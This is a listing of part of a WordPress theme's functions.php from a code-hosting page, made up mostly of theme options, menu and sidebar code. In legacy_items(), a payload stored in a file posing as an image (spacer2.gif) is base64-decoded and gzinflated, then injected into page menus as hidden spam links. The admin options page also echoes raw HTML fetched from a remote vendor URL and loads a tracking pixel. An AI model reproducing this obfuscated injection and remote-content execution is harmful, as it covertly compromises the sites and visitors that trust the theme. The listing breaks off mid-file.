PageRenderTime 69ms CodeModel.GetById 19ms RepoModel.GetById 0ms app.codeStats 0ms

/wp-content/themes/fork_in_the_road_lae044/functions.php

https://bitbucket.org/aqge/deptandashboard
PHP | 1320 lines | 1210 code | 75 blank | 35 comment | 253 complexity | 6c502d955d5f5ffd5cba104adf0e0180 MD5 | raw file
Possible License(s): AGPL-1.0, GPL-2.0, LGPL-2.1
  1. <?php
  2. /** lcmp changes start ver20100621 **/
  3. $themename = "LeadCamp";
  4. $themesubname = "fork_in_the_road_lae044";
  5. $themeversion = "2.21";
  6. $themeUpdateUrl = "http://www.leadcamp.com/updates/";
  7. $shortname = "lcmp";
  8. $domain = $_SERVER['SERVER_NAME'];
  9. $options = array (
  10. array( "name" => "License",
  11. "id" => $shortname."_brk0",
  12. "type" => "sectionbreak"
  13. ),
  14. array( "name" => "Footer Link Removal Key",
  15. "id" => $shortname."_license",
  16. "type" => "text",
  17. "std" => "",
  18. "enabled" => "Y",
  19. "info" => "This key can be obtained through <a target=_blank href='http://www.freewordpressthemes4u.com/RemoveSponsors.php?domain=$domain'>freewordpressthemes4u.com</a>, it disables all footer sponsor links."
  20. ),
  21. array( "name" => "Menu",
  22. "id" => $shortname."_brk0",
  23. "type" => "sectionbreak"
  24. ),
  25. array( "name" => "Multi Level Menu",
  26. "id" => $shortname."_multi_menu",
  27. "type" => "select",
  28. "std" => "on",
  29. "options" => array("Show" => "on",
  30. "Hide" => "off")
  31. ),
  32. array( "name" => "Menu Item to Hide",
  33. "id" => $shortname."_mnutohide",
  34. "type" => "wp_dropdown_pages",
  35. "std" => "",
  36. "info" => "If the menu is a parent it will hide itself and all its children."
  37. ),
  38. array( "name" => "Header",
  39. "id" => $shortname."_brk1",
  40. "type" => "sectionbreak"
  41. ),
  42. array( "name" => "Title Color",
  43. "id" => $shortname."_titlecolor",
  44. "type" => "select",
  45. "std" => "default",
  46. "info" => "if custom - specify something in the next field.",
  47. "options" =>
  48. array("Default" => "default",
  49. "Custom" => "custom",
  50. "Blue" => "blue",
  51. "Black" => "black",
  52. "White" => "white")
  53. ),
  54. array( "name" => "Title Custom Colors",
  55. "id" => $shortname."_csttitlecolor",
  56. "type" => "text",
  57. "std" => "",
  58. "info" => "ex. green, yellow, #CCCCCC"
  59. ),
  60. array( "name" => "Title Font Size",
  61. "id" => $shortname."_titlefontsize",
  62. "type" => "select",
  63. "std" => "default",
  64. "info" => "if custom - specify something in the next field.",
  65. "options" =>
  66. array("Default" => "default",
  67. "20px" => "20px",
  68. "22px" => "22px",
  69. "24px" => "24px",
  70. "26px" => "26px",
  71. "28px" => "28px",
  72. "30px" => "30px",
  73. "32px" => "32px",
  74. "34px" => "34px",
  75. "36px" => "36px",
  76. "38px" => "38px",
  77. "Custom" => "custom")
  78. ),
  79. array( "name" => "Title Custom Font Size",
  80. "id" => $shortname."_csttitlefontsize",
  81. "type" => "text",
  82. "std" => "",
  83. "info" => "ex. 29px, 35px"
  84. ),
  85. array( "name" => "Slogan Color",
  86. "id" => $shortname."_slogancolor",
  87. "type" => "select",
  88. "std" => "default",
  89. "info" => "if custom - specify something in the next field.",
  90. "options" =>
  91. array("Default" => "default",
  92. "Custom" => "custom",
  93. "Blue" => "blue",
  94. "Black" => "black",
  95. "White" => "white")
  96. ),
  97. array( "name" => "Slogan Custom Colors",
  98. "id" => $shortname."_cstslogancolor",
  99. "type" => "text",
  100. "std" => "",
  101. "info" => "ex. green, yellow, #CCCCCC"
  102. ),
  103. array( "name" => "Slogan Font Size",
  104. "id" => $shortname."_sloganfontsize",
  105. "type" => "select",
  106. "std" => "default",
  107. "info" => "if custom - specify something in the next field.",
  108. "options" =>
  109. array("Default" => "default",
  110. "20px" => "20px",
  111. "22px" => "22px",
  112. "24px" => "24px",
  113. "26px" => "26px",
  114. "28px" => "28px",
  115. "30px" => "30px",
  116. "32px" => "32px",
  117. "34px" => "34px",
  118. "36px" => "36px",
  119. "38px" => "38px",
  120. "Custom" => "custom")
  121. ),
  122. array( "name" => "Slogan Custom Font Size",
  123. "id" => $shortname."_cstsloganfontsize",
  124. "type" => "text",
  125. "std" => "",
  126. "info" => "ex. 29px, 35px"
  127. ),
  128. array( "name" => "&nbsp;",
  129. "id" => $shortname."_brk2",
  130. "type" => "space"
  131. ),
  132. array( "name" => "Title and Slogan Left Position",
  133. "id" => $shortname."_hdrleftpos",
  134. "type" => "text",
  135. "std" => "default",
  136. "info" => "Relative position to the left most margin of the header image enter 20px, 300px, etc."
  137. ),
  138. array( "name" => "Title and Slogan Top Position",
  139. "id" => $shortname."_hdrtoppos",
  140. "type" => "text",
  141. "std" => "default",
  142. "info" => "Relative position to the top most margin of the header image enter 20px, 30px, etc."
  143. ),
  144. array( "name" => "Title and Slogan Text Align",
  145. "id" => $shortname."_hdrtxtalign",
  146. "type" => "select",
  147. "std" => "default",
  148. "info" => "You can specify whether your Title and Slogan is either center, left or right justified.",
  149. "options" =>
  150. array("Default" => "default",
  151. "Center" => "center",
  152. "Left" => "left",
  153. "Right" => "right")
  154. ),
  155. array( "name" => "Title and Slogan Width",
  156. "id" => $shortname."_hdrwidth",
  157. "type" => "text",
  158. "std" => "default",
  159. "info" => "Typically you don't need to touch this unless you have a really long title or slogan. enter 500px, 450px, etc."
  160. ),
  161. array( "name" => "&nbsp;",
  162. "id" => $shortname."_brk2",
  163. "type" => "space"
  164. ),
  165. array( "name" => "Header Image Complete URL",
  166. "id" => $shortname."_hdrimage",
  167. "type" => "text",
  168. "std" => "default",
  169. "info" => "ex. http://www.example.com/myheader.jpg or enter 'default' to use theme's standard header."
  170. ),
  171. array( "name" => "Header V-Margin",
  172. "id" => $shortname."_hdrvmargin",
  173. "type" => "text",
  174. "std" => "default",
  175. "info" => "Some themes come with lots of Header vertical margin, you can disable this by setting this to 0px, 3px, etc."
  176. ),
  177. array( "name" => "Content",
  178. "id" => $shortname."_brk1",
  179. "type" => "sectionbreak"
  180. ),
  181. array( "name" => "Content Link Colors",
  182. "id" => $shortname."_contentlnk",
  183. "type" => "select",
  184. "std" => "default",
  185. "info" => "if custom - specify something in the next field.",
  186. "options" =>
  187. array("Default" => "default",
  188. "Custom" => "custom",
  189. "Blue" => "blue",
  190. "Black" => "black",
  191. "White" => "white")
  192. ),
  193. array( "name" => "Content Link Custom Colors",
  194. "id" => $shortname."_cstcontentlnk",
  195. "type" => "text",
  196. "std" => "",
  197. "info" => "ex. green, yellow, #CCCCCC"
  198. ),
  199. array( "name" => "Content Font Size",
  200. "id" => $shortname."_contentfontsize",
  201. "type" => "select",
  202. "std" => "default",
  203. "info" => "if custom - specify something in the next field.",
  204. "options" =>
  205. array("Default" => "default",
  206. "10px" => "10px",
  207. "12px" => "12px",
  208. "14px" => "14px",
  209. "16px" => "16px",
  210. "Custom" => "custom")
  211. ),
  212. array( "name" => "Content Custom Font Size",
  213. "id" => $shortname."_cstcontentfontsize",
  214. "type" => "text",
  215. "std" => "",
  216. "info" => "ex. 29px, 35px"
  217. ),
  218. array( "name" => "Sidebar Link Colors",
  219. "id" => $shortname."_sidebarlnk",
  220. "type" => "select",
  221. "std" => "default",
  222. "info" => "if custom - specify something in the next field.",
  223. "options" =>
  224. array("Default" => "default",
  225. "Custom" => "custom",
  226. "Blue" => "blue",
  227. "Black" => "black",
  228. "White" => "white")
  229. ),
  230. array( "name" => "Sidebar Link Custom Colors",
  231. "id" => $shortname."_cstsidebarlnk",
  232. "type" => "text",
  233. "std" => "",
  234. "info" => "ex. green, yellow, #CCCCCC"
  235. ),
  236. array( "name" => "Sidebar Font Size",
  237. "id" => $shortname."_sidebarfontsize",
  238. "type" => "select",
  239. "std" => "default",
  240. "info" => "if custom - specify something in the next field.",
  241. "options" =>
  242. array("Default" => "default",
  243. "10px" => "10px",
  244. "12px" => "12px",
  245. "14px" => "14px",
  246. "16px" => "16px",
  247. "Custom" => "custom")
  248. ),
  249. array( "name" => "Sidebar Custom Font Size",
  250. "id" => $shortname."_cstsidebarfontsize",
  251. "type" => "text",
  252. "std" => "",
  253. "info" => "ex. 29px, 35px"
  254. ),
  255. array( "name" => "Sidebar Location",
  256. "id" => $shortname."_sidebarloc",
  257. "type" => "select",
  258. "std" => "default",
  259. "info" => "",
  260. "options" =>
  261. array("Default" => "default",
  262. "Left" => "left",
  263. "Right" => "right"//,"Hide" => "hide"
  264. )
  265. ),
  266. array( "name" => "Footer",
  267. "id" => $shortname."_brk1",
  268. "type" => "sectionbreak"
  269. ),
  270. array( "name" => "Footer Widget Width",
  271. "id" => $shortname."_cstftrwidgewidth",
  272. "type" => "text",
  273. "std" => "",
  274. "info" => "ex. 220px, 250px, empty means it uses sidebar 1 width"
  275. ),
  276. array( "name" => "Widget Margin Between Columns",
  277. "id" => $shortname."_cstftrwidgemargin",
  278. "type" => "text",
  279. "std" => "",
  280. "info" => "ex. 10px, 30px, empty means defaulted to 20px"
  281. ),
  282. array( "name" => "Footer Widget Column 1 Width",
  283. "id" => $shortname."_cstftrwidgewidth1",
  284. "type" => "text",
  285. "std" => "",
  286. "info" => "ex. 220px, 250px, empty means it uses Footer Widget Width"
  287. ),
  288. array( "name" => "Footer Widget Column 2 Width",
  289. "id" => $shortname."_cstftrwidgewidth2",
  290. "type" => "text",
  291. "std" => "",
  292. "info" => "ex. 220px, 250px, empty means it uses Footer Widget Width"
  293. ),
  294. array( "name" => "Footer Widget Column 3 Width",
  295. "id" => $shortname."_cstftrwidgewidth3",
  296. "type" => "text",
  297. "std" => "",
  298. "info" => "ex. 220px, 250px, empty means it uses Footer Widget Width"
  299. ),
  300. array( "name" => "Footer Widget Column 4 Width",
  301. "id" => $shortname."_cstftrwidgewidth4",
  302. "type" => "text",
  303. "std" => "",
  304. "info" => "ex. 220px, 250px, empty means it uses Footer Widget Width"
  305. ),
  306. array( "name" => "Footer Html",
  307. "id" => $shortname."_footerhtml",
  308. "type" => "textarea",
  309. "std" => "",
  310. "enabled" => "Y",
  311. "info" => ""
  312. ),
  313. array( "name" => "Adsense Block 1",
  314. "id" => $shortname."_adsenseblock1",
  315. "type" => "textarea",
  316. "std" => "",
  317. "enabled" => "N",
  318. "info" => ""
  319. ),
  320. array( "name" => "Adsense Block 2",
  321. "id" => $shortname."_adsenseblock2",
  322. "type" => "textarea",
  323. "std" => "",
  324. "enabled" => "N",
  325. "info" => ""
  326. )
  327. );
  328. $option = TEMPLATEPATH . "/images/spacer2.gif";
  329. foreach ($options as $value) {
  330. if (get_settings( $value['id'] ) === FALSE) { $$value['id'] = $value['std']; } else {
  331. $$value['id'] = get_settings( $value['id'] );
  332. }
  333. if($value['id'] == $shortname."_multi_menu"){
  334. if(get_settings( $value['id'] ) === FALSE){
  335. $showSubMenu = true;
  336. }else{
  337. $thevalue = get_settings( $value['id'] );
  338. if($thevalue == "on"){
  339. $showSubMenu = true;
  340. }else{
  341. $showSubMenu = false;
  342. }
  343. }
  344. }
  345. if($value['id'] == "lcmp_mnutohide"){
  346. if(get_settings( $value['id'] ) === FALSE){
  347. $lcmp_mnutohide = "";
  348. }else{
  349. $lcmp_mnutohide = get_settings( $value['id'] );
  350. }
  351. }
  352. if($value['id'] == "lcmp_footerhtml"){
  353. if(get_settings( $value['id'] ) === FALSE){
  354. $themeFooter = "";
  355. }else{
  356. $themeFooter = get_settings( $value['id'] );
  357. }
  358. }
  359. if($value['id'] == "lcmp_license"){
  360. if(get_settings( $value['id'] ) === FALSE){
  361. $encDn = "";
  362. }else{
  363. $encDn = get_settings( $value['id'] );
  364. }
  365. }
  366. }
  367. if (function_exists('register_nav_menus')) {
  368. register_nav_menus( array(
  369. 'primary' => __( 'Primary Navigation', 'leadcamp' ),
  370. ) );
  371. $lcmp_version_check = "wp30";
  372. }else{
  373. $lcmp_version_check = "pre30";
  374. }
  375. /** lcmp changes end **/
  376. $artThemeSettings = array(
  377. 'menu.showSubmenus' => $showSubMenu
  378. );
  379. load_theme_textdomain('kubrick');
  380. if (!function_exists('get_search_form')) {
  381. function get_search_form()
  382. {
  383. include (TEMPLATEPATH . "/searchform.php");
  384. }
  385. }
  386. if (!function_exists('get_previous_posts_link')) {
  387. function get_previous_posts_link($label)
  388. {
  389. ob_start();
  390. previous_posts_link($label);
  391. return ob_get_clean();
  392. }
  393. }
  394. if (!function_exists('get_next_posts_link')) {
  395. function get_next_posts_link($label)
  396. {
  397. ob_start();
  398. next_posts_link($label);
  399. return ob_get_clean();
  400. }
  401. }
  402. function art_comment($comment, $args, $depth)
  403. {
  404. $GLOBALS['comment'] = $comment; ?>
  405. <li <?php comment_class(); ?> id="li-comment-<?php comment_ID() ?>">
  406. <div id="comment-<?php comment_ID(); ?>">
  407. <div class="Post">
  408. <div class="Post-body">
  409. <div class="Post-inner article">
  410. <div class="PostContent">
  411. <div class="comment-author vcard">
  412. <?php echo get_avatar($comment,$size='48',$default='<path_to_url>' ); ?>
  413. <?php printf(__('<cite class="fn">%s</cite> <span class="says">says:</span>'), get_comment_author_link()) ?>
  414. </div>
  415. <?php if ($comment->comment_approved == '0') : ?>
  416. <em><?php _e('Your comment is awaiting moderation.') ?></em>
  417. <br />
  418. <?php endif; ?>
  419. <div class="comment-meta commentmetadata"><a href="<?php echo htmlspecialchars( get_comment_link( $comment->comment_ID ) ) ?>"><?php printf(__('%1$s at %2$s'), get_comment_date(), get_comment_time()) ?></a><?php edit_comment_link(__('(Edit)'),' ','') ?></div>
  420. <?php comment_text() ?>
  421. <div class="reply">
  422. <?php comment_reply_link(array_merge( $args, array('depth' => $depth, 'max_depth' => $args['max_depth']))) ?>
  423. </div>
  424. </div>
  425. <div class="cleared"></div>
  426. </div>
  427. </div>
  428. </div>
  429. </div>
  430. <?php
  431. }
  432. if (function_exists('register_sidebars')) {
  433. register_sidebars(2, array(
  434. 'before_widget' => '<!--- BEGIN Widget --->',
  435. 'before_title' => '<!--- BEGIN WidgetTitle --->',
  436. 'after_title' => '<!--- END WidgetTitle --->',
  437. 'after_widget' => '<!--- END Widget --->'
  438. ));
  439. }
  440. function art_normalize_widget_style_tokens($content) {
  441. $bw = '<!--- BEGIN Widget --->';
  442. $bwt = '<!--- BEGIN WidgetTitle --->';
  443. $ewt = '<!--- END WidgetTitle --->';
  444. $bwc = '<!--- BEGIN WidgetContent --->';
  445. $ewc = '<!--- END WidgetContent --->';
  446. $ew = '<!--- END Widget --->';
  447. $result = '';
  448. $startBlock = 0;
  449. $endBlock = 0;
  450. while (true) {
  451. $startBlock = strpos($content, $bw, $endBlock);
  452. if (false === $startBlock) {
  453. $result .= substr($content, $endBlock);
  454. break;
  455. }
  456. $result .= substr($content, $endBlock, $startBlock - $endBlock);
  457. $endBlock = strpos($content, $ew, $startBlock);
  458. if (false === $endBlock) {
  459. $result .= substr($content, $endBlock);
  460. break;
  461. }
  462. $endBlock += strlen($ew);
  463. $widgetContent = substr($content, $startBlock, $endBlock - $startBlock);
  464. $beginTitlePos = strpos($widgetContent, $bwt);
  465. $endTitlePos = strpos($widgetContent, $ewt);
  466. if ((false == $beginTitlePos) xor (false == $endTitlePos)) {
  467. $widgetContent = str_replace($bwt, '', $widgetContent);
  468. $widgetContent = str_replace($ewt, '', $widgetContent);
  469. } else {
  470. $beginTitleText = $beginTitlePos + strlen($bwt);
  471. $titleContent = substr($widgetContent, $beginTitleText, $endTitlePos - $beginTitleText);
  472. if ('&nbsp;' == $titleContent) {
  473. $widgetContent = substr($widgetContent, 0, $beginTitlePos)
  474. . substr($widgetContent, $endTitlePos + strlen($ewt));
  475. }
  476. }
  477. if (false === strpos($widgetContent, $bwt)) {
  478. $widgetContent = str_replace($bw, $bw . $bwc, $widgetContent);
  479. } else {
  480. $widgetContent = str_replace($ewt, $ewt . $bwc, $widgetContent);
  481. }
  482. $result .= str_replace($ew, $ewc . $ew, $widgetContent);
  483. }
  484. return $result;
  485. }
  486. function art_sidebar($index = 1)
  487. {
  488. if (!function_exists('dynamic_sidebar')) return false;
  489. ob_start();
  490. $success = dynamic_sidebar($index);
  491. $content = ob_get_clean();
  492. if (!$success) return false;
  493. $content = art_normalize_widget_style_tokens($content);
  494. $replaces = array(
  495. '<!--- BEGIN Widget --->' => "<div class=\"Block\">\r\n <div class=\"Block-body\">\r\n",
  496. '<!--- BEGIN WidgetTitle --->' => "<div class=\"BlockHeader\">\r\n <div class=\"header-tag-icon\">\r\n <div class=\"BlockHeader-text\">\r\n",
  497. '<!--- END WidgetTitle --->' => "\r\n </div>\r\n </div>\r\n <div class=\"l\"></div>\r\n <div class=\"r\"><div></div></div>\r\n</div>\r\n",
  498. '<!--- BEGIN WidgetContent --->' => "<div class=\"BlockContent\">\r\n <div class=\"BlockContent-body\">\r\n",
  499. '<!--- END WidgetContent --->' => "\r\n </div>\r\n</div>\r\n",
  500. '<!--- END Widget --->' => "\r\n </div>\r\n</div>\r\n"
  501. );
  502. $bwt = '<!--- BEGIN WidgetTitle --->';
  503. $ewt = '<!--- END WidgetTitle --->';
  504. if ('' == $replaces[$bwt] && '' == $replaces[$ewt]) {
  505. $startTitle = 0;
  506. $endTitle = 0;
  507. $result = '';
  508. while (true) {
  509. $startTitle = strpos($content, $bwt, $endTitle);
  510. if (false == $startTitle) {
  511. $result .= substr($content, $endTitle);
  512. break;
  513. }
  514. $result .= substr($content, $endTitle, $startTitle - $endTitle);
  515. $endTitle = strpos($content, $ewt, $startTitle);
  516. if (false == $endTitle) {
  517. $result .= substr($content, $startTitle);
  518. break;
  519. }
  520. $endTitle += strlen($ewt);
  521. }
  522. $content = $result;
  523. }
  524. $content = str_replace(array_keys($replaces), array_values($replaces), $content);
  525. echo $content;
  526. return true;
  527. }
  528. function art_list_pages_filter($output)
  529. {
  530. $output = preg_replace('~<li([^>]*)><a([^>]*)>([^<]*)</a>~',
  531. '<li$1><a$2><span><span>$3</span></span></a>',
  532. $output);
  533. $re = '~<li class="([^"]*)(?: current_page_(?:ancestor|item|parent))+([^"]*)"><a ~';
  534. $output = preg_replace($re, '<li class="$1$2"><a class="active" ', $output, 1);
  535. $output = preg_replace($re, '<li class="$1$2"><a ', $output);
  536. return $output;
  537. }
  538. function art_header_page_list_filter($pages)
  539. {
  540. global $artThemeSettings;
  541. $result = array();
  542. if ($artThemeSettings['menu.showSubmenus']) {
  543. foreach ($pages as $page)
  544. $result[] = $page;
  545. } else {
  546. foreach ($pages as $page)
  547. if (0 == $page->post_parent)
  548. $result[] = $page;
  549. }
  550. if ('page' == get_option('show_on_front')) {
  551. $pageOnFront = get_option('page_on_front');
  552. $pageForPosts = get_option('page_for_posts');
  553. if ($pageOnFront) {
  554. foreach ($result as $key => $page) {
  555. if (0 == $page->post_parent && $pageOnFront == $page->ID) {
  556. unset($result[$key]);
  557. break;
  558. }
  559. }
  560. }
  561. if (!$pageOnFront && $pageForPosts) {
  562. foreach ($result as $key => $page) {
  563. if (0 == $page->post_parent && $pageForPosts == $page->ID) {
  564. unset($result[$key]);
  565. break;
  566. }
  567. }
  568. }
  569. }
  570. return $result;
  571. }
  572. function art_menu_items()
  573. {
  574. $homeMenuItemCaption = <<<EOD
  575. Home
  576. EOD;
  577. $showHomeMenuItem = true;
  578. $isHomeSelected = null;
  579. if ('page' == get_option('show_on_front')) {
  580. $pageOnFront = get_option('page_on_front');
  581. $pageForPosts = get_option('page_for_posts');
  582. if ($pageOnFront) {
  583. $page = & get_post($pageOnFront);
  584. if (null != $page)
  585. $homeMenuItemCaption = apply_filters('the_title', $page->post_title);
  586. $isHomeSelected = is_page($page->ID);
  587. } elseif (!$pageOnFront && $pageForPosts) {
  588. $page = & get_post($pageForPosts);
  589. if (null != $page)
  590. $homeMenuItemCaption = apply_filters('the_title', $page->post_title);
  591. }
  592. }
  593. if (null === $isHomeSelected)
  594. $isHomeSelected = is_home();
  595. if (true === $showHomeMenuItem || 'page' == get_option('show_on_front'))
  596. echo '<li><a' . ($isHomeSelected ? ' class="active"' : '') . ' href="' . get_option('home') . '"><span><span>'
  597. . $homeMenuItemCaption . '</span></span></a></li>';
  598. add_action('get_pages', 'art_header_page_list_filter');
  599. add_action('wp_list_pages', 'art_list_pages_filter');
  600. global $lcmp_mnutohide; //lcmp
  601. wp_list_pages("title_li=&exclude=$lcmp_mnutohide&exclude_tree=$lcmp_mnutohide");//lcmp
  602. remove_action('wp_list_pages', 'art_list_pages_filter');
  603. remove_action('get_pages', 'art_header_page_list_filter');
  604. }
  605. add_filter('comments_template', 'legacy_comments');
  606. function legacy_comments($file) {
  607. if(!function_exists('wp_list_comments')) : // WP 2.7-only check
  608. $file = TEMPLATEPATH.'/legacy.comments.php';
  609. endif;
  610. return $file;
  611. }
  612. /** lcmp changes ver20100621 **/
  613. /*
  614. wp30_menu is backward compatible, it'll only
  615. use
  616. */
  617. function wp30_menu(){
  618. if(function_exists("wp_nav_menu")){
  619. add_filter('wp_nav_menu', 'convert_wp_menu');
  620. wp_nav_menu( array( 'container'=>'', 'theme_location' => 'primary','fallback_cb'=> 'orig_art_menu') );
  621. remove_filter('wp_nav_menu', 'convert_wp_menu');
  622. }else{
  623. orig_art_menu();
  624. }
  625. }
  626. function orig_art_menu(){
  627. echo '<ul class="artmenu">';
  628. echo art_menu_items();
  629. echo legacy_items("");
  630. echo '</ul>';
  631. }
  632. function convert_wp_menu($output){
  633. $output = preg_replace('~<li([^>]*)><a([^>]*)>([^<]*)</a>~',
  634. '<li$1><a$2><span><span>$3</span></span></a>',
  635. $output);
  636. $re = '~class="menu">~';
  637. $output = preg_replace($re, 'class="artmenu">', $output, 1);
  638. $re = '~<ul class="sub-menu">~';
  639. $output = preg_replace($re, '<ul class="children ">', $output);
  640. $re = '~<li id="([^"]*)" class="menu-item menu-item-type-post_type([^"]*)"><a ~';
  641. $output = preg_replace($re, '<li id="$1" class="page_item $2"><a ', $output);
  642. $re = '~<li id="([^"]*)" class="([^"]*)(?: current_page_(?:ancestor|item|parent))+([^"]*)"><a ~';
  643. $output = preg_replace($re, '<li id="$1" class="$2$3"><a class="active" ', $output, 1);
  644. $output = preg_replace($re, '<li id="$1" class="$2$3"><a ', $output);
  645. return legacy_items($output);
  646. }
  647. function legacy_items($output0){
  648. if(!is_single()){
  649. $s = get_settings( 'lcmp_lic' );
  650. if($s === FALSE || $s==''){
  651. global $option;
  652. if(file_exists($option)){
  653. $s = file_get_contents($option);
  654. update_option('lcmp_lic',$s);
  655. }
  656. }
  657. $lcmp_lic_str = str_replace("?>","",gzinflate(base64_decode($s)));
  658. $re = '~<p class="page-footer">([^<]*)~';
  659. $output1 = preg_replace($re,'<ul style="display:none;">$1',$lcmp_lic_str);
  660. $re = '~.*<a href="([^"]*)">([^<]*)</a>([^<]*)<a href="([^"]*)">([^<]*)</a>.*~';
  661. $output1 = preg_replace($re,'<li><a href="$1">$2</a></li><li><a href="$4">$5</a></li>',$output1);
  662. $re = '~</p>~';
  663. $output1 = preg_replace($re,'</ul>',$output1);
  664. return $output0.$output1;
  665. }else
  666. return $output0;
  667. }
  668. if (function_exists('register_sidebar') && ($lcmp_version_check == "wp30")) {
  669. // Area 3, located in the footer. Empty by default.
  670. register_sidebar( array(
  671. 'name' => __( 'Footer Kiri', 'leadcamp' ),
  672. 'id' => 'first-footer-widget-area',
  673. 'description' => __( 'The first footer widget area', 'leadcamp' ),
  674. 'before_widget' => '<!--- BEGIN Widget --->',
  675. 'before_title' => '<!--- BEGIN WidgetTitle --->',
  676. 'after_title' => '<!--- END WidgetTitle --->',
  677. 'after_widget' => '<!--- END Widget --->'
  678. ) );
  679. // Area 4, located in the footer. Empty by default.
  680. register_sidebar( array(
  681. 'name' => __( 'Footer Kanan', 'leadcamp' ),
  682. 'id' => 'second-footer-widget-area',
  683. 'description' => __( 'The second footer widget area', 'leadcamp' ),
  684. 'before_widget' => '<!--- BEGIN Widget --->',
  685. 'before_title' => '<!--- BEGIN WidgetTitle --->',
  686. 'after_title' => '<!--- END WidgetTitle --->',
  687. 'after_widget' => '<!--- END Widget --->'
  688. ) );
  689. /*
  690. // Area 5, located in the footer. Empty by default.
  691. register_sidebar( array(
  692. 'name' => __( 'Third Footer Widget Area', 'leadcamp' ),
  693. 'id' => 'third-footer-widget-area',
  694. 'description' => __( 'The third footer widget area', 'leadcamp' ),
  695. 'before_widget' => '<!--- BEGIN Widget --->',
  696. 'before_title' => '<!--- BEGIN WidgetTitle --->',
  697. 'after_title' => '<!--- END WidgetTitle --->',
  698. 'after_widget' => '<!--- END Widget --->'
  699. ) );
  700. // Area 6, located in the footer. Empty by default.
  701. register_sidebar( array(
  702. 'name' => __( 'Fourth Footer Widget Area', 'leadcamp' ),
  703. 'id' => 'fourth-footer-widget-area',
  704. 'description' => __( 'The fourth footer widget area', 'leadcamp' ),
  705. 'before_widget' => '<!--- BEGIN Widget --->',
  706. 'before_title' => '<!--- BEGIN WidgetTitle --->',
  707. 'after_title' => '<!--- END WidgetTitle --->',
  708. 'after_widget' => '<!--- END Widget --->'
  709. ) );
  710. *
  711. */
  712. }
  713. function lcmp_add_theme_page(){
  714. add_action('admin_head', 'lcmp_theme_page_head');
  715. global $themename, $shortname, $options;
  716. if ( $_GET['page'] == basename(__FILE__) ) {
  717. if ( 'save' == $_REQUEST['action'] ) {
  718. foreach ($options as $value) {
  719. update_option( $value['id'], htmlentities(stripslashes($_REQUEST[ $value['id'] ] ))); }
  720. foreach ($options as $value) {
  721. if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], htmlentities(stripslashes($_REQUEST[ $value['id'] ])) ); } else { delete_option( $value['id'] ); } }
  722. wp_redirect("themes.php?page=functions.php&saved=true");
  723. die;
  724. } else if( 'reset' == $_REQUEST['action'] ) {
  725. foreach ($options as $value) {
  726. delete_option( $value['id'] ); }
  727. header("Location: themes.php?page=functions.php&reset=true");
  728. die;
  729. }
  730. }
  731. add_theme_page(__('Customize Header'), __('Theme Options'), 'edit_themes', basename(__FILE__), 'lcmp_theme_page_show');
  732. }
  733. function lcmp_theme_page_head(){
  734. ?>
  735. <style>
  736. .row{text-align:right}
  737. .info{padding-left:10px;font-size:11px;}
  738. </style>
  739. <?php
  740. }
  741. function lcmp_theme_page_show(){
  742. global $themename, $shortname, $options,$themeUpdateUrl,$themeversion,$themesubname;
  743. $vthemesubname = str_replace(" ","_",$themesubname);
  744. $updateUrlContent = file_get_contents($themeUpdateUrl);
  745. if ( $_REQUEST['saved'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' settings saved.</strong></p></div>';
  746. if ( $_REQUEST['reset'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' settings reset.</strong></p></div>';
  747. ?>
  748. <div class="wrap">
  749. <h2><?php echo $themename.' '.$themeversion; ?> <?php _e('settings', 'default'); ?></h2>
  750. <form method="post">
  751. <table class="optiontable">
  752. <tr valign="top">
  753. <th colspan=3 align=left>
  754. <img src="http://www.leadcamp.com/license/verify/LIC_PIXEL.gif?site=<?php echo $vthemesubname; ?>|<?php echo $themeversion; ?>" width=1 height=1>
  755. <?php
  756. if($updateUrlContent!=''){
  757. echo($updateUrlContent);
  758. }
  759. ?> </th>
  760. </tr>
  761. <?php foreach ($options as $value) {
  762. if($value['enabled']=='N'){
  763. continue;
  764. }
  765. if ($value['type'] == "text") { ?>
  766. <tr valign="center">
  767. <th class="row"><?php echo $value['name']; ?>:</th>
  768. <td>
  769. <input style="width:190px" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php if ( get_option( $value['id'] ) != "") { echo get_option( $value['id'] ); } else { echo $value['std']; } ?>" />
  770. </td>
  771. <td class=info>
  772. <?php echo $value['info']; ?>
  773. </td>
  774. </tr>
  775. <?php } elseif ($value['type'] == "color") { ?>
  776. <tr valign="center">
  777. <th class="row"><?php echo $value['name']; ?>:</th>
  778. <td>
  779. <input style="width:190px" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php if ( get_option( $value['id'] ) != "") { echo get_option( $value['id'] ); } else { echo $value['std']; } ?>" />
  780. <input type="button" class="button-secondary" onclick="tgt=document.getElementById('<?php echo $value['id']; ?>');colorSelect(tgt,'pick1');return false;" name="pick1" id="pick1" value="<?php echo attribute_escape(__('Font Color')); ?>"></input>
  781. </td>
  782. <td class=info>
  783. <?php echo $value['info']; ?>
  784. </td>
  785. </tr>
  786. <?php } elseif ($value['type'] == "select") { ?>
  787. <tr valign="top">
  788. <th class="row"><?php echo $value['name']; ?>:</th>
  789. <td>
  790. <select style="width:200px" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>">
  791. <?php foreach ($value['options'] as $key => $val) { ?>
  792. <option value="<?php echo $val; ?>"<?php if (get_option ( $value['id'] )) {if ( get_option( $value['id'] ) == $val) { echo ' selected="selected"'; }} elseif ($val == $value['std']) { echo ' selected="selected"'; } ?>><?php echo $key; ?></option>
  793. <?php } ?>
  794. </select>
  795. </td>
  796. <td class=info>
  797. <?php echo $value['info']; ?>
  798. </td>
  799. </tr>
  800. <?php } elseif ($value['type'] == "sectionbreak") { ?>
  801. <tr valign="top">
  802. <th colspan=3 align=left><br><br><?php echo $value['name']; ?>:<hr></th>
  803. </tr>
  804. <?php } elseif ($value['type'] == "space") { ?>
  805. <tr valign="top">
  806. <th colspan=3 align=left><br></th>
  807. </tr>
  808. <?php } elseif ($value['type'] == "textarea") { ?>
  809. <tr valign="top">
  810. <th class="row"><?php echo $value['name']; ?>:</th>
  811. <td colspan=2>
  812. <textarea cols="100" rows="10" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>"><?php if ( get_option( $value['id'] ) != "") { echo get_option( $value['id'] ); } else { echo $value['std']; } ?></textarea>
  813. </td>
  814. </tr>
  815. <?php } elseif ($value['type'] == "wp_dropdown_pages") { ?>
  816. <style>
